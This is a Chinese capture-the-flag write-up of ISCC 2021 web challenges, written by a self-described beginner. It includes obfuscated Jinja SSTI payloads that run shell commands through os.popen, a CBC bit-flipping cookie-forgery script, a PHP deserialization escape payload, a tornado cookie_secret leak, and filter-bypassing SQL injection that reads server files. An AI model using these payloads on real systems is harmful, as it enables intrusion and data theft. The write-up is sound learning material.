练武

ISCC客服冲冲冲(一)


该题目需要左边的客服票数高于右边的
我会的就两种方法,毕竟是废物嘛,允许

1、


把左右按钮换一下
然后就

2、在控制台输入


回车,走你

你涨啊,涨啊,接着涨啊…没吃饭吗

这是啥

发现一堆这

Jsfuck解密。

Web01



太明显了 robots协议

和攻防世界如出一辙,不让访问那就访问

得到源码

<?php
<p>code.txt</p>if (isset ($_GET['password'])) {if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){echo '<p>You password must be alphanumeric</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){    if (strpos ($_GET['password'], '*-*') !== FALSE){die('Flag: ' . $flag);}else{echo('<p>*-* have not been found</p>');}}else{echo '<p>Invalid password</p>';}
}
?>

代码审计…
ereg函数要求passwd只能有一个或者多个数字、大小写字母。
strlen限制了长度,要求长度小于8,但值大于9999999,利用科学计数法:1e8(e表示指数)
利用%00截断绕过
?password=1e8*-*

ISCC客服一号冲冲冲(二)


下载图片(找源码确实,没师傅hint,还真找不到)

下载后LSB隐写,Blue的0通道

咦,有东西
源码:

<?php
define("SECRET_KEY", '101010031231243214');
define("METHOD", "aes-128-cbc");
session_start();function get_random_iv(){$random_iv='';for($i=0;$i<16;$i++){$random_iv.=chr(rand(1,255));}return $random_iv;
}function login($info){$iv = get_random_iv();$plain = serialize($info);$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);$_SESSION['username'] = $info['username'];$_SESSION['password'] = $info['password'];setcookie("iv", base64_encode($iv));setcookie("cipher", base64_encode($cipher));
}function check_login(){if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){$cipher = base64_decode($_COOKIE['cipher']);$iv = base64_decode($_COOKIE["iv"]);if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");$_SESSION['username'] = $info['username'];}else{die("ERROR!");}}
}function show_homepage(){if ($_SESSION["username"]==='admin'&& $_SESSION["password"]=== password){echo '<p>Hello admin</p>';echo '<p>Flag is '.flag.'</p>';}else if($_SESSION["password"] == password){echo '<p>hello '.$_SESSION['username'].'</p>';echo '<p>You can\'t see flag</p>';}else{echo '<p>Sorry,password is incorrect</p>';}
}if(isset($_POST['username']) && isset($_POST['password'])){$username = (string)$_POST['username'];$password = (string)$_POST['password'];if($username === 'admin'){exit('<p>admin are not allowed to login</p>');}else{$info = array('username'=>$username,'password'=>$password);login($info);show_homepage();}
}else{if(isset($_SESSION["username"])){check_login();show_homepage();}else{echo '<body class="login-body"><div id="wrapper" style = "width:800px; height:200px; overflow:hidden;"><img class="img1" src="login.bmp"  alt="login" /></div></body>';}
}
?>


看到原页面,大概就是传username和password
但不能输入,受第一个题目的影响,我还在那找JS前段代码,找dis之类的字样,但其实已经完全跑偏了(菜)

进行传参

username=admik&password=1SCC_2o2l_KeFuu


抓包

这里是将我们传入的值进行序列化
得到一个iv和cipher,并且只有admimn才能看到flag,但矛盾的是我们不能以admin的身份上传值,那就需要字符翻转,将输入的admik的“k”变成admin的“n”。
CBC讲解:https://blog.csdn.net/csu_vc/article/details/79619309

最后附上脚本
将iv和cipher复制到左边,果然,我们不能访问flag
将cipher进行url解码

将解码后的cipher的值进行base64解码并且翻转字符

TqNbrcYMj35+XQQFPoFoNkqSrqL9ygnG4od7abehLv9NRyQvo89y5PeLuUuUT4P+5RqSH6MOxNJwuCMqR8lxEy82AOerWeHacK6JmKwy4IU=

替换原来的cipher,再进行url编码
发送

因为要修改第一轮的值,才能修改cipher的值。
但是vi作为第0轮密文进行解密,得到的结果却和第一轮不一样,所以无法序列化
同理,对iv进行url解码,放入脚本和刚才回显得到的无法序列化的内容得到新的iv值
将得到的新的iv值进行url编码再对原来的iv进行替换
发送

脚本:


<?php
$enc=base64_decode("回显无法序列化的内容");
$iv=base64_decode("iv原始的值进行url编码");
$cleartext = 'a:2:{s:8:"userna';
$newiv = '';
for ($i=0;$i<16;$i++){$newiv=$newiv.chr(ord($iv[$i]) ^ ord($enc[$i]) ^ ord ($cleartext[$i]));
}
echo base64_encode($newiv);
?>```php
<?php
$enc=base64_decode("cipher的值url解码");
$enc[13] = chr(ord($enc[13]) ^ ord("k") ^ ord ("n"));
echo base64_encode($enc);
?>

如果嫌url编码麻烦,可以直接写成

base64_decode(urldecode('iv或cipher的初始值'))

lovely ssti


看题目,ssti
ssti模板注入
没听说过…
两个payload

{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell3=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell3)|attr("read")()}}
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

这里附上师傅的WP
https://blog.csdn.net/jvkyvly/article/details/116953370

登录


www.zip得到源码

index.php

<?phprequire_once('class.php');if($_SESSION['username']) {header('Location: profile.php');exit;}if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if($user->login($username, $password)) {$_SESSION['username'] = $username;header('Location: profile.php');exit;  }else {die('Invalid user name or password');}}else {?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Login</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">LOGIN</button></form></div>
</body>
</html>
<?php}
?>

输入用户名密码正确后,将跳转到profile.php页面。

profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>

将输入的信息反序列化后输出

register.php

<?phprequire_once('class.php');if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');if(!$user->is_exists($username)) {$user->register($username, $password);echo 'Register OK!<a href="index.php">Please Login</a>';       }else {die('User name Already Exists');}}else {?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Register</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">REGISTER</button></form></div>
</body>
</html>
<?php}
?>

upload.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>

将输入的信息序列化

class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';
?>

在这里有flag的关键信息
而在profile.php中了

$photo = base64_encode(file_get_contents($profile['photo']));

那这里的骚操作大致思路就是让 $profile['photo']的值为config.php,这样就可以变成

$photo = base64_encode(file_get_contents(`config.php`));

将config.php的页面用base64编码的形式输出

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);

在class.php这里有filter过滤

upload.php这里也同样有过滤

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');

选择用nickname[]=来绕过

$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}

这里只有where是5位,在匹配到where后返回hacker是6位,这样,就会多一个位,就可以不断顶替,把我们想要的config.php给顶到file_get_contents解析
payload:

";}s:5:"photo";s:10:"config.php";}

前面闭合,然后使photo的值为config.php

这里";}s:5:"photo";s:10:"config.php";}一共是34位,每一个where会增加1位,所以我们需要34个where放入nickname[]

回到题目上

进入register注册
登陆进去到了upload界面

抓包

将这里修改为数组

再回到原页面找到图片的base64

解码

擂台

tornado


这个题目好像做过…

关于tornado

这是python的一个模块
可能存在模板注入

回到题目
flag.txt显示flag在fllllllllllllaaaaaag里面


但是无法直接访问(也就我这种小白还会去试试)

/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

在hints.txt中给出了计算方法
即先将filenameMD5加密,再将cookie_secret与MD5加密后的filename进行MD5加密
所以我们需要filenamecookie_secret两者的值

根据flag.txt的提示我们尝试?filename=fllllllllllllaaaaaag

啊…这应该是也是某种注入吧
查看环境变量

?msg={{handler.settings}}

得到cookie_secret的值

<?php
$cookie='ef57c331-744f-4528-b434-9746317d4f6a';
$filename='/fllllllllllllaaaaaag';
echo md5($cookie.md5($filename));
?>

计算出filehash

1ad9b8e09fbe539bc5a6f2c8bc0ab5db

带参访问得到flag

easyweb

就很直白
注入
先判断一下闭合符号
试了一下发现–+的话直接die
应该是被过滤了
但#号是error
尝试把#url编码为%23
得到回显

空格也被过滤了
可以使用%0d代替
联合查询也被过滤
但双写可以使用

?id=0'%0dununionion%0dselselectect%0d1,2,3%23

得到回显

?id=0'%0Dununionion%0Dselselectect%0D1,database(),3%23

得到数据库名

?id=0'%0Dununionion%0Dselselectect%0D1,(selselectect%0Dgroup_concat(table_name)%0DFROM%0Dsys.schema_table_statistics_with_buffer),3%0D%23

试一下表名为flag

?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23

提示访问cccmd.php

得到源码

 <?phpif(isset($_GET['c'])){$c=$_GET['c'];if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");}else{echo `$c`;}
}else{highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->

但这里的原码最重要的就是flllllllllaaag.php,就是flag的位置

如果能走到这一步,前面的过滤应该也都知道了,没什么大用

?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23    //此路径为默认

最后访问源码

本文尚有不足,后续会进行补全
本人水平极其低下,希望路过的大佬能指点
也希望和师傅们交流学习
本人也是兴趣选手,非本专业大一学生
只是纯爱好,还需要更多的学习
谢谢观看……

ISCC2021——web部分相关推荐

  1. ISCC2021 Web WP

    目录 练武 ISCC客服冲冲冲(一) 这是啥 正则匹配最后的倔强. 登录 which is the true iscc ISCC客服一号冲冲冲(二) lovely ssti 擂台 tornado ea ...

  2. ✿ISCC2021✿题目以及部分wp

    文章目录 ISCC 部分web.杂项wp WEB ISCC客服一号冲冲冲(一) 这是啥 Web01 ISCC客服一号冲冲冲(二) 登录 misc 李华的红包 Retrieve_the_passcode ...

  3. 在k8s中使用gradle构建java web项目镜像Dockerfile

    在k8s中使用gradle构建java web项目镜像Dockerfile FROM gradle:6-jdk8 AS build COPY --chown=gradle:gradle . /home ...

  4. 手动将web项目的class文件打成jar包,手动打jar包,java -cvf,IDE打包底层指令

    手动将web项目的class文件打成jar包. 我们的项目在使用IDE进行编译后,在项目的target目录下将会生成class文件.我们可以将class文件打成jar包. 使用的到命令为: 在targ ...

  5. 将Eclipse中Web项目打成war包

    将Eclipse中Web项目打成war包 请按如下操作即可:

  6. Docker安装Apache与运行简单的web服务——httpd helloworld

    Docker运行简单的web服务--httpd helloworld目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker运行简单的web ...

  7. 【Golang源码分析】Go Web常用程序包gorilla/mux的使用与源码简析

    目录[阅读时间:约10分钟] 一.概述 二.对比: gorilla/mux与net/http DefaultServeMux 三.简单使用 四.源码简析 1.NewRouter函数 2.HandleF ...

  8. 基于Golang的简单web服务程序开发——CloudGo

    基于Golang的简单web服务程序开发--CloudGo[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 (1)基本要求 (2)扩展要求 三.具体 ...

  9. CentOS Docker安装配置部署Golang web helloworld

    目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker部署Golang web helloworld 四.Docker与虚拟机的区别 五. ...

最新文章

  1. 第三单元man指令的简单运用
  2. Linux C SQLite3 编程
  3. Caffe CNN特征可视化
  4. 文巾解题 LCP 11. 期望个数统计
  5. 01、python数据分析与机器学习实战——Python数据可视化库-Matplotlib
  6. 腐蚀rust服务器命令_【使用 Rust 写 Parser】2. 解析Redis协议
  7. 算法图解:如何找出栈中的最小值?
  8. OpenCV 入门级一
  9. 网络安全相关行业必备网站
  10. 实现基于 ASP.NET Forms 身份验证的跨子域单点登录
  11. Eclipse安装插件的“最好方法”:dropins文件夹的妙用
  12. 2018年最新_5小时学会微信小程序视频教程网盘地址
  13. 3.7V转12V2A 15V2A 大功率升压芯片 拉杆音响专用升压芯片
  14. Kafka 麒麟先生_近百位超人气嘉宾出席元旦萤火虫 重磅新企划蓄势待发!
  15. Linux系统中使用Xbox360手柄
  16. win10专业版本激活
  17. 简易网页(HTML)
  18. table表格锁定任意数量列或行
  19. 英语中For和To的区别
  20. 第二十二章 : 格式化输出

热门文章

  1. 使用Curl对Kubernetes进行调试!
  2. 视频(mp4文件)批量转换成动图(gif文件)
  3. Excel时间做差,统计加班时长
  4. 颜色和移动物体识别系统
  5. 多多情报通:拼多多数据分析工具在哪?
  6. mac外接显示器wifi无法正常使用的问题
  7. 特殊的数独身数,:水仙花数, 四叶玫瑰数, 五角星数, 六合数 ,北斗七星数, 八仙数, 九九重阳数 ,十全十美数...
  8. 更改C盘用户名的惨痛教训
  9. U盘和电脑USB都是好的,可是插上u盘没任何反应!
  10. [APIO2017]考拉的游戏,构造与思维题